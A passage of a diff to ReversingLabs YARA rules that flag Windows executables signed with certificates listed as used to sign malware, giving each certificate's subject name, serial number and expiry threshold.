REVERSINGLABS_Cert_Blocklist_0Cf1Ed2A6Ff4Bee621Efdf725Ea174B7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_29F42680E653Cf8Fafd0E935553F7E86 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7f7ecbcd-7a92-526d-99a8-d849fffa19cb" + id = "f616e92c-ed9f-581c-aa15-970bddfb073a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6180-L6196" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L279-L295" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7030c122905105c72833cfcb41692bd9a67cf456e3309afce0b8f9e65c6aa5c1" + logic_hash = "6c726e4c2933a6472d256a18ea5265660ff035d05036ab9cae3409ab5a7c7598" score = 75 quality = 90 tags = "INFO, FILE" @@ -15701,21 +38095,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Cf1Ed2A6Ff4Bee621Efdf725Ea174B7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LEVEL LIST SP Z O O" and pe.signatures [ i ] . serial == "0c:f1:ed:2a:6f:f4:be:e6:21:ef:df:72:5e:a1:74:b7" and 1603036100 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wemade Entertainment co.,Ltd" and pe.signatures [ i ] . serial == "29:f4:26:80:e6:53:cf:8f:af:d0:e9:35:55:3f:7e:86" and 1390175999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1249Aa2Ada4967969B71Ce63Bf187C38 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0C15 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5b2876a2-8dfa-5456-a615-4ea69df53422" + id = "4a7a5404-1a20-53a7-9670-6f5215582c9d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6198-L6214" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L297-L313" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f84568cfe6304af0307a34bfed6dd346a74e714005b5e6f22a354b14f853ec65" + logic_hash = "1ee88813270dddeeedd90edbce9be2ce74303a6799ee64b0e9bfaea7377d3b2d" score = 75 quality = 90 tags = "INFO, FILE" @@ -15725,21 +38119,21 @@ rule REVERSINGLABS_Cert_Blocklist_1249Aa2Ada4967969B71Ce63Bf187C38 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Umbrella LLC" and pe.signatures [ i ] . serial == "12:49:aa:2a:da:49:67:96:9b:71:ce:63:bf:18:7c:38" and 1599181200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "William Richard John" and pe.signatures [ i ] . serial == "0c:15" and 1387324799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D59A05955A4A421500F9561Ce983Aac4 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0C0F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "088f0f98-328b-50fa-b1e4-1d80023b3c09" + id = "919a62ba-2902-5088-ad92-9f1bae23e68f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6216-L6234" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L315-L331" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b7ed87a03f20872669369cc3cad4eae40ba597f06222194bd67262c094083ec1" + logic_hash = "0f8fda07dc362b7e04892446f1abe1e5f5717ee715824a2c1f6550096c366701" score = 75 quality = 90 tags = "INFO, FILE" @@ -15749,21 +38143,21 @@ rule REVERSINGLABS_Cert_Blocklist_D59A05955A4A421500F9561Ce983Aac4 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Olymp LLC" and ( pe.signatures [ i ] . serial == "00:d5:9a:05:95:5a:4a:42:15:00:f9:56:1c:e9:83:aa:c4" or pe.signatures [ i ] . serial == "d5:9a:05:95:5a:4a:42:15:00:f9:56:1c:e9:83:aa:c4" ) and 1601895290 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dmitry Vasilev" and pe.signatures [ i ] . serial == "0c:0f" and 1386719999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_539015999E304A5952985A994F9C3A53 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_06A164Ec5978497741Ee6Cec9966871B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ccb4da10-3178-5d8f-be17-9c689e794418" + id = "6c73206d-3d5c-5540-a2e1-d00138d7e1b5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6236-L6252" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L333-L349" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "feeb1710bd5b048c689a2e45575529624cd1622dcc73db8fe7de6c133fdc5698" + logic_hash = "8a27015d94a3bd8543a8ca9202831ffc9c9e65f61bf26ed6825c3e746b6af0d4" score = 75 quality = 90 tags = "INFO, FILE" @@ -15773,21 +38167,21 @@ rule REVERSINGLABS_Cert_Blocklist_539015999E304A5952985A994F9C3A53 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Service lab LLC" and pe.signatures [ i ] . serial == "53:90:15:99:9e:30:4a:59:52:98:5a:99:4f:9c:3a:53" and 1599181200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JOHN WILLIAM RICHARD" and pe.signatures [ i ] . serial == "06:a1:64:ec:59:78:49:77:41:ee:6c:ec:99:66:87:1b" and 1385596799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0B1926A5E8Ae50A0Efa504F005F93869 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1121Ed568764E75Be35574448Feadefcd3Bc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ce437144-0f99-5c41-8d15-edeceb34de4d" + id = "44fa007f-f5f7-5001-8b92-eb4a657ea756" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6254-L6270" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L351-L367" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1cbdf39a873c83d2b55723215fb4930a3ce23b6cab2d71a6cd5f16b2721e30f9" + logic_hash = "3316a2536920c5aa9dd627cec7678e6fe33c722b4830dd740009c20dd013c9ab" score = 75 quality = 90 tags = "INFO, FILE" @@ -15797,21 +38191,21 @@ rule REVERSINGLABS_Cert_Blocklist_0B1926A5E8Ae50A0Efa504F005F93869 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Nordkod LLC" and pe.signatures [ i ] . serial == "0b:19:26:a5:e8:ae:50:a0:ef:a5:04:f0:05:f9:38:69" and 1600650000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FRINORTE COMERCIO DE PECAS E SERVICOS LTDA - ME" and pe.signatures [ i ] . serial == "11:21:ed:56:87:64:e7:5b:e3:55:74:44:8f:ea:de:fc:d3:bc" and 1385337599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A23B660E7322E54D7Bd0E5Acc890966 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6Ed2450Ceac0F72E73Fda1727E66E654 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "daae5f42-59ff-5838-9444-93357eaa9d60" + id = "c19ddbde-eec0-5ebb-8f11-1e7dcb489bc8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6272-L6288" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L369-L385" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "17996dd0ec81623dbd4eeea98f9bbe37c11c911ca840833ecb9301bb0a9ddb52" + logic_hash = "0e5af7795c825367d441c8abc2aa835fa83083eb8ee1f723c7d2dacff1ca88ff" score = 75 quality = 90 tags = "INFO, FILE" @@ -15821,21 +38215,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A23B660E7322E54D7Bd0E5Acc890966 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ARTBUD RADOM SP Z O O" and pe.signatures [ i ] . serial == "0a:23:b6:60:e7:32:2e:54:d7:bd:0e:5a:cc:89:09:66" and 1601254800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hohhot Handing Trade and Business Co., Ltd." and pe.signatures [ i ] . serial == "6e:d2:45:0c:ea:c0:f7:2e:73:fd:a1:72:7e:66:e6:54" and 1376092799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6Cfa5050C819C4Acbb8Fa75979688Dff : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_32665079C5A5854A6833623Ca77Ff5Ac : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f91ecc17-7406-552a-8864-c9e1657a5ca9" + id = "7078e95f-8bbe-5446-b9cb-c079f8448cb1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6290-L6308" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L387-L403" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cffc234be78446191dd5f5990db9f17c7e28eeaa3e16f1eb8ad4ed1e58fdc25e" + logic_hash = "6b734ca733c5fbadcb490ffd4c19c951e0fc17dd9b660eca948b126038c42cdb" score = 75 quality = 90 tags = "INFO, FILE" @@ -15845,21 +38239,21 @@ rule REVERSINGLABS_Cert_Blocklist_6Cfa5050C819C4Acbb8Fa75979688Dff : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Elite Web Development Ltd." and ( pe.signatures [ i ] . serial == "00:6c:fa:50:50:c8:19:c4:ac:bb:8f:a7:59:79:68:8d:ff" or pe.signatures [ i ] . serial == "6c:fa:50:50:c8:19:c4:ac:bb:8f:a7:59:79:68:8d:ff" ) and 1600176940 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ohanae" and pe.signatures [ i ] . serial == "32:66:50:79:c5:a5:85:4a:68:33:62:3c:a7:7f:f5:ac" and 1381967999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_044E05Bb1A01A1Cbb50Cfb6Cd24E5D6B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_01A90094C83412C00Cf98Dd2Eb0D7042 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c0796bc3-96cd-5d12-a0ee-97d8ed4a3076" + id = "e5059974-9ea2-5497-a728-c21a6cdd30e4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6310-L6326" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L405-L421" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "40c80d3b6bedb0b3454e14501745a6e82b6ea9ac202748867a2e937fb79c6f6c" + logic_hash = "5a3de0e6de5cda39e40988f9e2324cbee3e059aff5ceaf7fd819de8bf7215808" score = 75 quality = 90 tags = "INFO, FILE" @@ -15869,21 +38263,21 @@ rule REVERSINGLABS_Cert_Blocklist_044E05Bb1A01A1Cbb50Cfb6Cd24E5D6B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MUSTER PLUS SP Z O O" and pe.signatures [ i ] . serial == "04:4e:05:bb:1a:01:a1:cb:b5:0c:fb:6c:d2:4e:5d:6b" and 1601427600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FreeVox SA" and pe.signatures [ i ] . serial == "01:a9:00:94:c8:34:12:c0:0c:f9:8d:d2:eb:0d:70:42" and 1376956799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B7F19B13De9Bee8A52Ff365Ced6F67Fa : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_55Efe24B9674855Baf16E67716479C71 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0e7e235e-3f0b-5396-9c19-9336d9cbb95a" + id = "c1a4102e-ce78-5a4d-95ea-b9e394df0c28" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6328-L6346" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L423-L439" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a8d2a92b44cdd7b123907a6a77ba0fc9fde4961f9ac846b36f1e87730a1efae6" + logic_hash = "2cf7a76ae3c3a698564013ff545c74d0319face5aa19416c93bf10f45f84f8c9" score = 75 quality = 90 tags = "INFO, FILE" @@ -15893,21 +38287,21 @@ rule REVERSINGLABS_Cert_Blocklist_B7F19B13De9Bee8A52Ff365Ced6F67Fa : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALEXIS SECURITY GROUP, LLC" and ( pe.signatures [ i ] . serial == "00:b7:f1:9b:13:de:9b:ee:8a:52:ff:36:5c:ed:6f:67:fa" or pe.signatures [ i ] . serial == "b7:f1:9b:13:de:9b:ee:8a:52:ff:36:5c:ed:6f:67:fa" ) and 1574914319 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "S2BVISIO BELGIQUE SA" and pe.signatures [ i ] . serial == "55:ef:e2:4b:96:74:85:5b:af:16:e6:77:16:47:9c:71" and 1374451199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B61B8E71514059Adc604Da05C283E514 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_094Bf19D509D3074913995160B195B6C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2587d30d-e9c8-599c-9cc4-4d4a7aa83c34" + id = "8241e2c6-e4e7-581c-b759-6314d2e28a4d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6348-L6366" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L441-L457" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1255cef74082c9cad41ac8e7d62e740f69e6ba44171bb45655a68ee5db204e57" + logic_hash = "3c1ed012716f36876d9375838befb9821b87cafc6aca57a0f18392f80f5ba325" score = 75 quality = 90 tags = "INFO, FILE" @@ -15917,21 +38311,21 @@ rule REVERSINGLABS_Cert_Blocklist_B61B8E71514059Adc604Da05C283E514 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "APP DIVISION ApS" and ( pe.signatures [ i ] . serial == "00:b6:1b:8e:71:51:40:59:ad:c6:04:da:05:c2:83:e5:14" or pe.signatures [ i ] . serial == "b6:1b:8e:71:51:40:59:ad:c6:04:da:05:c2:83:e5:14" ) and 1603328400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Porral Twinware S.L.L." and pe.signatures [ i ] . serial == "09:4b:f1:9d:50:9d:30:74:91:39:95:16:0b:19:5b:6c" and 1373241599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ece6Cbf67Dc41635A5E5D075F286Af23 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A77Cf3Ba49B64E6Cbe5Fb4A6A6Aacc6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3e451a5a-835b-572d-ab17-ff52d3614a86" + id = "4fb06917-ccbd-514c-a936-e337c31c6e65" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6368-L6386" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L459-L475" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f560e6f4a65eaac8db1d8accb0748de17048e66ccf989468e6350a3ec1d70dc8" + logic_hash = "3bebc4a36b57526505167d8f075d468e4775d66c81ce08644c506d9be94efba0" score = 75 quality = 90 tags = "INFO, FILE" @@ -15941,21 +38335,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ece6Cbf67Dc41635A5E5D075F286Af23 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THRANE AGENTUR ApS" and ( pe.signatures [ i ] . serial == "00:ec:e6:cb:f6:7d:c4:16:35:a5:e5:d0:75:f2:86:af:23" or pe.signatures [ i ] . serial == "ec:e6:cb:f6:7d:c4:16:35:a5:e5:d0:75:f2:86:af:23" ) and 1603369254 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "I.ST.SAN. Srl" and pe.signatures [ i ] . serial == "0a:77:cf:3b:a4:9b:64:e6:cb:e5:fb:4a:6a:6a:ac:c6" and 1371081599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_014A98D697B44F43Ded21F18Eb6Ad0Ba : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1F4C22Da1107D20C1Eda04569D58E573 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4fcd4e89-658c-593b-8f94-edd5df19da6e" + id = "4ff75d18-926e-51aa-8e1c-b9699669bbd0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6388-L6404" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L477-L493" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9f1cc61b944974696113912bc1d1a0b45b9911fa4d6de382a48c0d22d2d20953" + logic_hash = "fe19c4b21c3b70ec571461ca6d9c370a971c01f2d68e3c3916aa1fa0f13b20f8" score = 75 quality = 90 tags = "INFO, FILE" @@ -15965,21 +38359,21 @@ rule REVERSINGLABS_Cert_Blocklist_014A98D697B44F43Ded21F18Eb6Ad0Ba : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hillcoe Software Inc." and pe.signatures [ i ] . serial == "01:4a:98:d6:97:b4:4f:43:de:d2:1f:18:eb:6a:d0:ba" and 1605364760 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PlanView, Inc." and pe.signatures [ i ] . serial == "1f:4c:22:da:11:07:d2:0c:1e:da:04:56:9d:58:e5:73" and 1366156799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_063A7D09107Eddd8Aa1F733634C6591B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4Fe68D48634893D18De040D8F1C289D2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0169cf47-72b0-53ec-bc8f-c2a80febad3a" + id = "40aed582-2960-5b42-acde-7350a2595b4b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6406-L6422" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L495-L511" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "19f11e1d9ce95eb4bc75387a0118c230388a13cd07b02e00ea1d65cdcc0b2bd7" + logic_hash = "41feebc8800a084ac369b5c5721b1362d371bd503b67823986bad2839157a4b0" score = 75 quality = 90 tags = "INFO, FILE" @@ -15989,21 +38383,21 @@ rule REVERSINGLABS_Cert_Blocklist_063A7D09107Eddd8Aa1F733634C6591B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Smart Line Logistics" and pe.signatures [ i ] . serial == "06:3a:7d:09:10:7e:dd:d8:aa:1f:73:36:34:c6:59:1b" and 1605712706 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xinghua Yile Network Tech Co.,Ltd." and pe.signatures [ i ] . serial == "4f:e6:8d:48:63:48:93:d1:8d:e0:40:d8:f1:c2:89:d2" and 1371081600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1E74Cfe7De8C5F57840A61034414Ca9F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6767Def972D6Ea702D8C8A53Af1832D3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d7fd0c3f-0292-5d27-b8e6-559b829440b4" + id = "c60497b4-5abe-52b0-aac9-88953ea6cdf1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6424-L6442" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L513-L529" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d82220d908283f1707ec15882503b02cb8dc80095279a9e7d6cbdd113c25d8ae" + logic_hash = "aa7f997449b4b8dcf488cfb7f45ee98ca540d39fb861f5b01ff4bb4aa1875b72" score = 75 quality = 90 tags = "INFO, FILE" @@ -16013,21 +38407,21 @@ rule REVERSINGLABS_Cert_Blocklist_1E74Cfe7De8C5F57840A61034414Ca9F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Insta Software Solution Inc." and ( pe.signatures [ i ] . serial == "00:1e:74:cf:e7:de:8c:5f:57:84:0a:61:03:44:14:ca:9f" or pe.signatures [ i ] . serial == "1e:74:cf:e7:de:8c:5f:57:84:0a:61:03:44:14:ca:9f" ) and 1601733106 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Guangzhou typical corner Network Technology Co., Ltd." and pe.signatures [ i ] . serial == "67:67:de:f9:72:d6:ea:70:2d:8c:8a:53:af:18:32:d3" and 1361750400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_75Cf729F8A740Bbdef183A1C4D86A02F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_06477E3425F1448995Ced539789E6842 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e96fdf57-3884-526e-a704-93e783c95241" + id = "21da6056-bf4e-5fc4-bef5-37010ebe8f05" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6444-L6460" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L531-L547" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "691fadaa653ecd29e60f2db39b7c5154d7c85f388f72eccd0a4b5fe42eaee0dd" + logic_hash = "c0bc7808bb6bcc8273a887203c1b47d1a49fcb7719863e6bc97b5c7404a254f7" score = 75 quality = 90 tags = "INFO, FILE" @@ -16037,21 +38431,21 @@ 